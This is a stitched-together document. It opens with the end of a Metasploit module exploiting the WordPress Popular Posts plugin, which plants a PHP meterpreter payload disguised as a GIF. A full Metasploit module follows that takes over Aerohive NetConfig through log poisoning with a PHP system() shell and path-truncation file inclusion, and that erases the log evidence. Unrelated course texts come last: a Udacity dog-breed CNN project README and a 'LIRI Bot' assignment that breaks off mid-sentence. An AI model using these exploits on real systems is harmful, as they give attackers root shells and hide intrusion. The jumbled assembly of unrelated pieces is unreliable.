'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend

Project Overview Welcome to the Convolutional Neural Networks (CNN) project in the AI Nanodegree! In this project, you will learn how to build a pipeline that can be used within a web or mobile app to process real-world, user-supplied images. Given an image of a dog, your algorithm will identify an estimate of the canine’s breed. If supplied an image of a human, the code will identify the resembling dog breed. Sample Output Along with exploring state-of-the-art CNN models for classification, you will make important design decisions about the user experience for your app. Our goal is that by completing this lab, you understand the challenges involved in piecing together a series of models designed to perform various tasks in a data processing pipeline. Each model has its strengths and weaknesses, and engineering a real-world application often involves solving many problems without a perfect answer. Your imperfect solution will nonetheless create a fun user experience! Project Instructions Instructions Clone the repository and navigate to the downloaded folder. git clone https://github.com/udacity/dog-project.git cd dog-project Download the dog dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/dogImages. Download the human dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/lfw. If you are using a Windows machine, you are encouraged to use 7zip to extract the folder. Download the VGG-16 bottleneck features for the dog dataset. Place it in the repo, at location path/to/dog-project/bottleneck_features. (Optional) If you plan to install TensorFlow with GPU support on your local machine, follow the guide to install the necessary NVIDIA software on your system. If you are using an EC2 GPU instance, you can skip this step. (Optional) If you are running the project on your local machine (and not using AWS), create (and activate) a new environment. Linux (to install with GPU support, change requirements/dog-linux.yml to requirements/dog-linux-gpu.yml): conda env create -f requirements/dog-linux.yml source activate dog-project Mac (to install with GPU support, change requirements/dog-mac.yml to requirements/dog-mac-gpu.yml): conda env create -f requirements/dog-mac.yml source activate dog-project NOTE: Some Mac users may need to install a different version of OpenCV conda install --channel https://conda.anaconda.org/menpo opencv3 Windows (to install with GPU support, change requirements/dog-windows.yml to requirements/dog-windows-gpu.yml): conda env create -f requirements/dog-windows.yml activate dog-project (Optional) If you are running the project on your local machine (and not using AWS) and Step 6 throws errors, try this alternative step to create your environment. Linux or Mac (to install with GPU support, change requirements/requirements.txt to requirements/requirements-gpu.txt): conda create --name dog-project python=3.5 source activate dog-project pip install -r requirements/requirements.txt NOTE: Some Mac users may need to install a different version of OpenCV conda install --channel https://conda.anaconda.org/menpo opencv3 Windows (to install with GPU support, change requirements/requirements.txt to requirements/requirements-gpu.txt): conda create --name dog-project python=3.5 activate dog-project pip install -r requirements/requirements.txt (Optional) If you are using AWS, install Tensorflow. sudo python3 -m pip install -r requirements/requirements-gpu.txt Switch Keras backend to TensorFlow. Linux or Mac: KERAS_BACKEND=tensorflow python -c "from keras import backend" Windows: set KERAS_BACKEND=tensorflow python -c "from keras import backend" (Optional) If you are running the project on your local machine (and not using AWS), create an IPython kernel for the dog-project environment. python -m ipykernel install --user --name dog-project --display-name "dog-project" Open the notebook. jupyter notebook dog_app.ipynb (Optional) If you are running the project on your local machine (and not using AWS), before running code, change the kernel to match the dog-project environment by using the drop-down menu (Kernel > Change kernel > dog-project). Then, follow the instructions in the notebook. NOTE: While some code has already been implemented to get you started, you will need to implement additional functionality to successfully answer all of the questions included in the notebook. Unless requested, do not modify code that has already been included. Evaluation Your project will be reviewed by a Udacity reviewer against the CNN project rubric. Review this rubric thoroughly, and self-evaluate your project before submission. All criteria found in the rubric must meet specifications for you to pass. Project Submission When you are ready to submit your project, collect the following files and compress them into a single archive for upload: The dog_app.ipynb file with fully functional code, all code cells executed and displaying output, and all questions answered. An HTML or PDF export of the project notebook with the name report.html or report.pdf. Any additional images used for the project that were not supplied to you for the project. Please do not include the project data sets in the dogImages/ or lfw/ folders. Likewise, please do not include the bottleneck_features/ folder.

# LIRI Bot ### Overview In this assignment, you will make LIRI. LIRI is like iPhone's SIRI. However, while SIRI is a Speech Interpretation and Recognition Interface, LIRI is a _Language_ Interpretation and Recognition Interface. LIRI will be a command line node app that takes in parameters and gives you back data. ### Before You Begin 1. LIRI will search Spotify for songs, Bands in Town for concerts, and OMDB for movies. 2. Make a new GitHub repository called liri-node-app and clone it to your computer. 3. To retrieve the data that will power this app, you'll need to send requests using the `axios` package to the Bands in Town, Spotify and OMDB APIs. You'll find these Node packages crucial for your assignment. * [Node-Spotify-API](https://www.npmjs.com/package/node-spotify-api) * [Axios](https://www.npmjs.com/package/axios) * You'll use Axios to grab data from the [OMDB API](http://www.omdbapi.com) and the [Bands In Town API](http://www.artists.bandsintown.com/bandsintown-api) * [Moment](https://www.npmjs.com/package/moment) * [DotEnv](https://www.npmjs.com/package/dotenv) ## Submission Guide Create and use a standard GitHub repository. As this is a CLI App, it cannot be deployed to GitHub pages or Heroku. This time you'll need to include screenshots, a GIF, and/or a video showing us that you have the app working with no bugs. You can include these screenshots/GIFs or a link to a video in a `README.md` file. In order to meet the Employer Competitive standards and be ready to show your application to employers, the `README.md` file should meet the following criteria: 1. Clearly state the problem the app is trying to solve (i.e. what is it doing and why) 2. Give a high-level overview of how the app is organized 3. Give start-to-finish instructions on how to run the app 4. Include screenshots, gifs or videos of the app functioning 5. Contain a link to a deployed version of the app 6. Clearly list the technologies used in the app 7. State your role in the app development Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading in this assignment. If you haven't written a markdown file yet, [click here for a rundown](https://guides.github.com/features/mastering-markdown/), or just take a look at the raw file of these instructions. ### Commits Having an active and healthy commit history on GitHub is important for your future job search. It is also extremely important for making sure your work is saved in your repository. If something breaks, committing often ensures you are able to go back to a working version of your code. * Committing often is a signal to employers that you are actively working on your code and learning. * We use the mantra “commit early and often.” This means that when you write code that works, add it and commit it! * Numerous commits allow you to see how your app is progressing and give you a point to revert to if anything goes wrong. * Be clear and descriptive in your commit messaging. * When writing a commit message, avoid vague messages like "fixed." Be descriptive so that you and anyone else looking at your repository knows what happened with each commit. * We would like you to have well over 200 commits by graduation, so commit early and often! ### Submission on BCS * Please submit the link to the Github Repository! ### Instructions 1. Navigate to the root of your project and run `npm init -y` &mdash; this will initialize a `package.json` file for your project. The `package.json` file is required for installing third party npm packages and saving their version numbers. If you fail to initialize a `package.json` file, it will be troublesome, and at times almost impossible for anyone else to run your code after cloning your project. 2. Make a `.gitignore` file and add the following lines to it. This will tell git not to track these files, and thus they won't be committed to Github. ``` node_modules .DS_Store .env ``` 3. Make a JavaScript file named `keys.js`. * Inside keys.js your file will look like this: ```js console.log('this is loaded'); exports.spotify = { id: process.env.SPOTIFY_ID, secret: process.env.SPOTIFY_SECRET }; ``` 4. Next, create a file named `.env`, add the following to it, replacing the values with your API keys (no quotes) once you have them: ```js # Spotify API keys SPOTIFY_ID=your-spotify-id SPOTIFY_SECRET=your-spotify-secret ``` * This file will be used by the `dotenv` package to set what are known as environment variables to the global `process.env` object in node. These are values that are meant to be specific to the computer that node is running on, and since we are gitignoring this file, they won't be pushed to github &mdash; keeping our API key information private. * If someone wanted to clone your app from github and run it themselves, they would need to supply their own `.env` file for it to work. 5. Make a file called `random.txt`. * Inside of `random.txt` put the following in with no extra characters or white space: * spotify-this-song,"I Want it That Way" 6. Make a JavaScript file named `liri.js`. 7. At the top of the `liri.js` file, add code to read and set any environment variables with the dotenv package: ```js require("dotenv").config(); ``` 8. Add the code required to import the `keys.js` file and store it in a variable. ```js var keys = require("./keys.js"); ``` * You should then be able to access your keys information like so ```js var spotify = new Spotify(keys.spotify); ``` 9. Make it so liri.js can take in one of the following commands: * `concert-this` * `spotify-this-song` * `movie-this` * `do-what-it-says` ### What Each Command Should Do 1. `node liri.js concert-this <artist/band name here>` * This will search the Bands in Town Artist Events API (`"https://rest.bandsintown.com/artists/" + artist + "/events?app_id=codingbootcamp"`) for an artist and render the following information about each event to the terminal: * Name of the venue * Venue location * Date of the Event (use moment to format this as "MM/DD/YYYY") 2. `node liri.js spotify-this-song '<song name here>'` * This will show the following information about the song in your terminal/bash window * Artist(s) * The song's name * A preview link of the song from Spotify * The album that the song is from * If no song is provided then your program will default to "The Sign" by Ace of Base. * You will utilize the [node-spotify-api](https://www.npmjs.com/package/node-spotify-api) package in order to retrieve song information from the Spotify API. * The Spotify API requires you sign up as a developer to generate the necessary credentials. You can follow these steps in order to generate a **client id** and **client secret**: * Step One: Visit <https://developer.spotify.com/my-applications/#!/> * Step Two: Either login to your existing Spotify account or create a new one (a free account is fine) and log in. * Step Three: Once logged in, navigate to <https://developer.spotify.com/my-applications/#!/applications/create> to register a new application to be used with the Spotify API. You can fill in whatever you'd like for these fields. When finished, click the "complete" button. * Step Four: On the next screen, scroll down to where you see your client id and client secret. Copy these values down somewhere, you'll need them to use the Spotify API and the [node-spotify-api package](https://www.npmjs.com/package/node-spotify-api). 3. `node liri.js movie-this '<movie name here>'` * This will output the following information to your terminal/bash window: ``` * Title of the movie. * Year the movie came out. * IMDB Rating of the movie. * Rotten Tomatoes Rating of the movie. * Country where the movie was produced. * Language of the movie. * Plot of the movie. * Actors in the movie. ``` * If the user doesn't type a movie in, the program will output data for the movie 'Mr. Nobody.' * If you haven't watched "Mr. Nobody," then you should: <http://www.imdb.com/title/tt0485947/> * It's on Netflix! * You'll use the `axios` package to retrieve data from the OMDB API. Like all of the in-class activities, the OMDB API requires an API key. You may use `trilogy`. 4. `node liri.js do-what-it-says` * Using the `fs` Node package, LIRI will take the text inside of random.txt and then use it to call one of LIRI's commands. * It should run `spotify-this-song` for "I Want it That Way," as follows the text in `random.txt`. * Edit the text in random.txt to test out the feature for movie-this and concert-this. ### BONUS * In addition to logging the data to your terminal/bash window, output the data to a .txt file called `log.txt`. * Make sure you append each command you run to the `log.txt` file. * Do not overwrite your file each time you run a command. ### Reminder: Submission on BCS * Please submit the link to the Github Repository! - - - ### Minimum Requirements Attempt to complete homework assignment as described in instructions. If unable to 